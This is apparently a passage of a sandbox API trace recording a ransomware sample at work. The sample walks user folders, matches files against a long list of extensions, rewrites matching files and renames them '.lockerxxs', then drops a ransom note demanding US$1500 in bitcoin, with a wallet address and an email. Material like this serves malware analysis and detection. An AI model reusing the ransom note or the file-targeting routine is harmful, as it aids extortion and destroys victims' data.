[0090.346] lstrlenA (lpString="*.jpeg") returned 6 [0090.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.jpg") returned 0 [0090.346] lstrlenA (lpString="*.jpg") returned 5 [0090.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.png") returned 0 [0090.346] lstrlenA (lpString="*.png") returned 5 [0090.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.php") returned 0 [0090.346] lstrlenA (lpString="*.php") returned 5 [0090.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.cs") returned 0 [0090.346] lstrlenA (lpString="*.cs") returned 4 [0090.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.cpp") returned 0 [0090.347] lstrlenA (lpString="*.cpp") returned 5 [0090.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.rar") returned 0 [0090.347] lstrlenA (lpString="*.rar") returned 5 [0090.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.zip") returned 0 [0090.347] lstrlenA (lpString="*.zip") returned 5 [0090.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.html") returned 0 [0090.347] lstrlenA (lpString="*.html") returned 6 [0090.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.htm") returned 0 [0090.347] lstrlenA (lpString="*.htm") returned 5 [0090.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.xlsx") returned 0 [0090.347] lstrlenA (lpString="*.xlsx") returned 6 [0090.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.xls") returned 0 [0090.347] lstrlenA (lpString="*.xls") returned 5 [0090.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.mp4") returned 0 [0090.347] lstrlenA (lpString="*.mp4") returned 5 [0090.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.ppt") returned 0 [0090.347] lstrlenA (lpString="*.ppt") returned 5 [0090.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.pptx") returned 0 [0090.347] lstrlenA (lpString="*.pptx") returned 6 [0090.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.doc") returned 0 [0090.347] lstrlenA (lpString="*.doc") returned 5 [0090.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.dot") returned 0 [0090.347] lstrlenA (lpString="*.dot") returned 5 [0090.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.docx") returned 0 [0090.348] lstrlenA (lpString="*.docx") returned 6 [0090.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.7z") returned 0 [0090.348] lstrlenA (lpString="*.7z") returned 4 [0090.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.tar") returned 0 [0090.348] lstrlenA (lpString="*.tar") returned 5 [0090.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.bz2") returned 0 [0090.348] lstrlenA (lpString="*.bz2") returned 5 [0090.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.gz") returned 0 [0090.348] lstrlenA (lpString="*.gz") returned 4 [0090.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.mkv") returned 0 [0090.348] lstrlenA (lpString="*.mkv") returned 5 [0090.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.eml") returned 0 [0090.348] lstrlenA (lpString="*.eml") returned 5 [0090.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.msg") returned 0 [0090.348] lstrlenA (lpString="*.msg") returned 5 [0090.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.edb") returned 0 [0090.348] lstrlenA (lpString="*.edb") returned 5 [0090.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.accdb") returned 0 [0090.348] lstrlenA (lpString="*.accdb") returned 7 [0090.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.odb") returned 0 [0090.348] lstrlenA (lpString="*.odb") returned 5 [0090.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.java") returned 0 [0090.348] lstrlenA (lpString="*.java") returned 6 [0090.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.asm") returned 0 [0090.348] lstrlenA (lpString="*.asm") returned 5 [0090.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.pfx") returned 0 [0090.349] lstrlenA (lpString="*.pfx") returned 5 [0090.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.pem") returned 0 [0090.349] lstrlenA (lpString="*.pem") returned 5 [0090.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.p12") returned 0 [0090.349] lstrlenA (lpString="*.p12") returned 5 [0090.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.gpg") returned 0 [0090.349] lstrlenA (lpString="*.gpg") returned 5 [0090.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.vsd") returned 0 [0090.349] lstrlenA (lpString="*.vsd") returned 5 [0090.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.odg") returned 0 [0090.349] lstrlenA (lpString="*.odg") returned 5 [0090.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.raw") returned 0 [0090.349] lstrlenA (lpString="*.raw") returned 5 [0090.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.nef") returned 0 [0090.349] lstrlenA (lpString="*.nef") returned 5 [0090.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.svg") returned 0 [0090.349] lstrlenA (lpString="*.svg") returned 5 [0090.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.psd") returned 0 [0090.349] lstrlenA (lpString="*.psd") returned 5 [0090.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.vmx") returned 0 [0090.349] lstrlenA (lpString="*.vmx") returned 5 [0090.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.vmdk") returned 0 [0090.349] lstrlenA (lpString="*.vmdk") returned 6 [0090.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.vdi") returned 0 [0090.349] lstrlenA (lpString="*.vdi") returned 5 [0090.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.lay6") returned 0 [0090.350] lstrlenA (lpString="*.lay6") returned 6 [0090.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.mpeg") returned 0 [0090.350] lstrlenA (lpString="*.mpeg") returned 6 [0090.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.djvu") returned 0 [0090.350] lstrlenA (lpString="*.djvu") returned 6 [0090.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.tiff") returned 0 [0090.350] lstrlenA (lpString="*.tiff") returned 6 [0090.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.backup") returned 0 [0090.350] lstrlenA (lpString="*.backup") returned 8 [0090.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.pdf") returned 0 [0090.350] lstrlenA (lpString="*.pdf") returned 5 [0090.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.cert") returned 0 [0090.350] lstrlenA (lpString="*.cert") returned 6 [0090.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.docm") returned 0 [0090.350] lstrlenA (lpString="*.docm") returned 6 [0090.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.xlsm") returned 0 [0090.350] lstrlenA (lpString="*.xlsm") returned 6 [0090.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.dwg") returned 0 [0090.350] lstrlenA (lpString="*.dwg") returned 5 [0090.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.nd") returned 0 [0090.350] lstrlenA (lpString="*.nd") returned 4 [0090.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.tlg") returned 0 [0090.350] lstrlenA (lpString="*.tlg") returned 5 [0090.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.lgb") returned 0 [0090.351] lstrlenA (lpString="*.lgb") returned 5 [0090.351] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.mov") returned 0 [0090.351] lstrlenA (lpString="*.mov") returned 5 [0090.351] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.xdw") returned 0 [0090.351] lstrlenA (lpString="*.xdw") returned 5 [0090.351] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.ods") returned 0 [0090.351] lstrlenA (lpString="*.ods") returned 5 [0090.351] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.wav") returned 1 [0090.351] lstrlenA (lpString="*.wav") returned 5 [0090.351] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav" [0090.351] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav" [0090.351] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav." [0090.351] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav.lockerxxs" [0090.351] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\rjdtuyhe-2h.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0090.352] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb1b4 [0090.352] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1867620, dwHighDateTime=0x1d5ddeb), lpLastAccessTime=0x407536*(dwLowDateTime=0x5340c2b0, dwHighDateTime=0x1d5e6e5), lpLastWriteTime=0x40753e*(dwLowDateTime=0x5340c2b0, dwHighDateTime=0x1d5e6e5)) returned 1 [0090.352] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.352] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xb18e, lpOverlapped=0x0) returned 1 [0090.354] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav") returned="rJdTuYhe-2h.wav" [0090.354] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.354] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xb18e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xb18e, lpOverlapped=0x0) returned 1 [0090.355] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.355] CloseHandle (hObject=0x8c) returned 1 [0090.355] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\rjdtuyhe-2h.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\rjdtuyhe-2h.wav.lockerxxs")) returned 1 [0090.374] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdb71d40, ftCreationTime.dwHighDateTime=0x1d5e797, ftLastAccessTime.dwLowDateTime=0xe8efb310, ftLastAccessTime.dwHighDateTime=0x1d5db74, ftLastWriteTime.dwLowDateTime=0xe8efb310, ftLastWriteTime.dwHighDateTime=0x1d5db74, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4e0244, dwReserved1=0x4e0000, cFileName="SBc7u9p4Jsustm4F2", cAlternateFileName="SBC7U9~1")) returned 1 [0090.374] lstrcmpA (lpString1=".", lpString2="SBc7u9p4Jsustm4F2") returned -1 [0090.374] lstrcmpA (lpString1="..", lpString2="SBc7u9p4Jsustm4F2") returned -1 [0090.374] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav") returned="rJdTuYhe-2h.wav" [0090.374] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\", lpString2="SBc7u9p4Jsustm4F2" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2" [0090.374] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2") returned 69 [0090.374] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdb71d40, ftCreationTime.dwHighDateTime=0x1d5e797, ftLastAccessTime.dwLowDateTime=0xe8efb310, ftLastAccessTime.dwHighDateTime=0x1d5db74, ftLastWriteTime.dwLowDateTime=0xe8efb310, ftLastWriteTime.dwHighDateTime=0x1d5db74, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502618 [0090.375] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.375] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdb71d40, ftCreationTime.dwHighDateTime=0x1d5e797, ftLastAccessTime.dwLowDateTime=0xe8efb310, ftLastAccessTime.dwHighDateTime=0x1d5db74, ftLastWriteTime.dwLowDateTime=0xe8efb310, ftLastWriteTime.dwHighDateTime=0x1d5db74, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0090.375] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.375] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.375] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b20260, ftCreationTime.dwHighDateTime=0x1d5e7a8, ftLastAccessTime.dwLowDateTime=0xcbc8ffc0, ftLastAccessTime.dwHighDateTime=0x1d5e674, ftLastWriteTime.dwLowDateTime=0xcbc8ffc0, ftLastWriteTime.dwHighDateTime=0x1d5e674, nFileSizeHigh=0x0, nFileSizeLow=0x514b, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="jOqchBvz4n.m4a", cAlternateFileName="JOQCHB~1.M4A")) returned 1 [0090.375] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.375] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="jOqchBvz4n.m4a") returned -1 [0090.375] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="jOqchBvz4n.m4a") returned -1 [0090.375] lstrcmpiA (lpString1="", lpString2="jOqchBvz4n.m4a") returned -1 [0090.375] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\*.*") returned="*.*" [0090.375] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\" [0090.375] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\") returned="" [0090.375] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\HOW TO DECRYPT FILES.txt" [0090.375] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\sbc7u9p4jsustm4f2\\how to decrypt files.txt")) returned 0xffffffff [0090.376] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\sbc7u9p4jsustm4f2\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.377] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0090.377] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0090.378] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0090.378] CloseHandle (hObject=0x90) returned 1 [0090.379] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\", lpString2="jOqchBvz4n.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a" [0090.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.ems") returned 0 [0090.379] lstrlenA (lpString="*.ems") returned 5 [0090.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.db") returned 0 [0090.379] lstrlenA (lpString="*.db") returned 4 [0090.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.dbf") returned 0 [0090.379] lstrlenA (lpString="*.dbf") returned 5 [0090.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.myox") returned 0 [0090.379] lstrlenA (lpString="*.myox") returned 6 [0090.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.myo") returned 0 [0090.379] lstrlenA (lpString="*.myo") returned 5 [0090.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\jOqchBvz4n.m4a", pszSpec="*.qbw") returned 0 